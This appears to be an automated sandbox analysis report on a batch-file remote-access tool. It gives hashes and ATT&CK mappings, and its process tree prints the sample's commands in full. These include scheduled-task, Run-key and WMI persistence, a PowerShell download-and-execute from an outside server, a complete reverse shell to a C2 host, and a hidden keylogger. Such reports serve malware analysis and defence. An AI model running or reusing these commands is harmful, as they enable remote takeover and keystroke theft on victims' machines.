98a1099f0d148c7cbe3f7502529248ced62da022fc53392a9413d5f3cc34b659

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:18

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General

Target
rat_build_91376_014304.bat
Size 4KB
Sample260529-18dcpsct6l
SHA256 98a1099f0d148c7cbe3f7502529248ced62da022fc53392a9413d5f3cc34b659
MD5 c6f3a3d3f0f23aa4a5deb708eb2e8642
SHA1 c88453c1c86c313e1cb4192b7f18eb4aebe4b51d
SHA512 f3e32aa284f845a31f806dc79dc30e59797ac2f31546d961b3a5fa275252f3d4a6284b950c79c4b828e8dbae06c4f7444ca5412f5fdfb321e53a2c3cd2a0810c
SSDEEP 96:1I800WPUbUQmIeBVZFTTX5DV99Sgx3A3Vlkq1ggnw+iFgZk8mvlo1WQ5:1H+PUbUGSPTTX5bVxQ3RgmiFgkHlhQ5
TLSH
T140A1E717D7537120D9F16228D9323E1813ACE6FB2704CD5EBB49CEC04A5DA83D52AAE7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_91376.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4224	powershell.exe
4468	powershell.exe
2088	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_91376 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_91376.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2320	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
972	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2076	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5896	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4224	powershell.exe
4224	powershell.exe
4468	powershell.exe
4468	powershell.exe
2088	powershell.exe
2088	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3212	WMIC.exe
Token: SeSecurityPrivilege	3212	WMIC.exe
Token: SeTakeOwnershipPrivilege	3212	WMIC.exe
Token: SeLoadDriverPrivilege	3212	WMIC.exe
Token: SeSystemProfilePrivilege	3212	WMIC.exe
Token: SeSystemtimePrivilege	3212	WMIC.exe
Token: SeProfSingleProcessPrivilege	3212	WMIC.exe
Token: SeIncBasePriorityPrivilege	3212	WMIC.exe
Token: SeCreatePagefilePrivilege	3212	WMIC.exe
Token: SeBackupPrivilege	3212	WMIC.exe
Token: SeRestorePrivilege	3212	WMIC.exe
Token: SeShutdownPrivilege	3212	WMIC.exe
Token: SeDebugPrivilege	3212	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3212	WMIC.exe
Token: SeRemoteShutdownPrivilege	3212	WMIC.exe
Token: SeUndockPrivilege	3212	WMIC.exe
Token: SeManageVolumePrivilege	3212	WMIC.exe
Token: 33	3212	WMIC.exe
Token: 34	3212	WMIC.exe
Token: 35	3212	WMIC.exe
Token: 36	3212	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3212	WMIC.exe
Token: SeSecurityPrivilege	3212	WMIC.exe
Token: SeTakeOwnershipPrivilege	3212	WMIC.exe
Token: SeLoadDriverPrivilege	3212	WMIC.exe
Token: SeSystemProfilePrivilege	3212	WMIC.exe
Token: SeSystemtimePrivilege	3212	WMIC.exe
Token: SeProfSingleProcessPrivilege	3212	WMIC.exe
Token: SeIncBasePriorityPrivilege	3212	WMIC.exe
Token: SeCreatePagefilePrivilege	3212	WMIC.exe
Token: SeBackupPrivilege	3212	WMIC.exe
Token: SeRestorePrivilege	3212	WMIC.exe
Token: SeShutdownPrivilege	3212	WMIC.exe
Token: SeDebugPrivilege	3212	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3212	WMIC.exe
Token: SeRemoteShutdownPrivilege	3212	WMIC.exe
Token: SeUndockPrivilege	3212	WMIC.exe
Token: SeManageVolumePrivilege	3212	WMIC.exe
Token: 33	3212	WMIC.exe
Token: 34	3212	WMIC.exe
Token: 35	3212	WMIC.exe
Token: 36	3212	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5668	WMIC.exe
Token: SeSecurityPrivilege	5668	WMIC.exe
Token: SeTakeOwnershipPrivilege	5668	WMIC.exe
Token: SeLoadDriverPrivilege	5668	WMIC.exe
Token: SeSystemProfilePrivilege	5668	WMIC.exe
Token: SeSystemtimePrivilege	5668	WMIC.exe
Token: SeProfSingleProcessPrivilege	5668	WMIC.exe
Token: SeIncBasePriorityPrivilege	5668	WMIC.exe
Token: SeCreatePagefilePrivilege	5668	WMIC.exe
Token: SeBackupPrivilege	5668	WMIC.exe
Token: SeRestorePrivilege	5668	WMIC.exe
Token: SeShutdownPrivilege	5668	WMIC.exe
Token: SeDebugPrivilege	5668	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5668	WMIC.exe
Token: SeRemoteShutdownPrivilege	5668	WMIC.exe
Token: SeUndockPrivilege	5668	WMIC.exe
Token: SeManageVolumePrivilege	5668	WMIC.exe
Token: 33	5668	WMIC.exe
Token: 34	5668	WMIC.exe
Token: 35	5668	WMIC.exe
Token: 36	5668	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5668	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2064 wrote to memory of 5896	2064	cmd.exe	88
PID 2064 wrote to memory of 2076	2064	cmd.exe	89
PID 2064 wrote to memory of 3212	2064	cmd.exe	90
PID 2064 wrote to memory of 5668	2064	cmd.exe	91
PID 2064 wrote to memory of 5464	2064	cmd.exe	92
PID 2064 wrote to memory of 972	2064	cmd.exe	94
PID 2064 wrote to memory of 2320	2064	cmd.exe	99
PID 2064 wrote to memory of 4224	2064	cmd.exe	100
PID 2064 wrote to memory of 4468	2064	cmd.exe	101
PID 2064 wrote to memory of 2088	2064	cmd.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_91376_014304.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2064
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_91376" /tr "C:\Users\Admin\AppData\Local\Temp\_91376.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5896
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_91376" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_91376.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2076
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_91376", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3212
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_91376", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_91376.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5668
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_91376.txt
  2⤵
  PID:5464
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:972
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:2320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_91376.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2088

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bd540a6d1eec819813040230500c076952485d0c02d3cefe42867e8775357e12
MD5 57355d11cf317fd0a2f24a9e9563058f
SHA1 25ceb215ca879879df7027bdcbf2d09f6982b87c
SHA512 e127ab276e9ae0a25b38a1aa09f4c6859c4990a1628f94b35845e61757eef35a41dedf9df3b1f64d74e7b1a1d09a49ecd2bf067d5d120abd285fa2f428462458
TLSH
T1CC117627F39CC921CC96153A509DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 eb5700508c4f09ae1715cd2641b3cca23bed64cb1f71572138bf5d7861e81d52
MD5 97c58d0e076f58457e329d853c73367c
SHA1 a0c12e36a46863f2b8a0a689d07af2e8c0b00924
SHA512 2c14bf8de9c58ddd704f13f9e94012d4f85e0c0fb7ebbf86d81fdbb354545240d98e11d68c4dc4687d6281d082969d5a4fc910575c7b3b7f052d576ff7fc7c93
TLSH
T103115727B39C89A1CC96153A409DAC1172B683D7809EDEDF6BC0D214A17F584CB61194
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_p5uowh05.pgk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p5uowh05.pgk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/4224-3-0x000002B289CA0000-0x000002B289CC2000-memory.dmp

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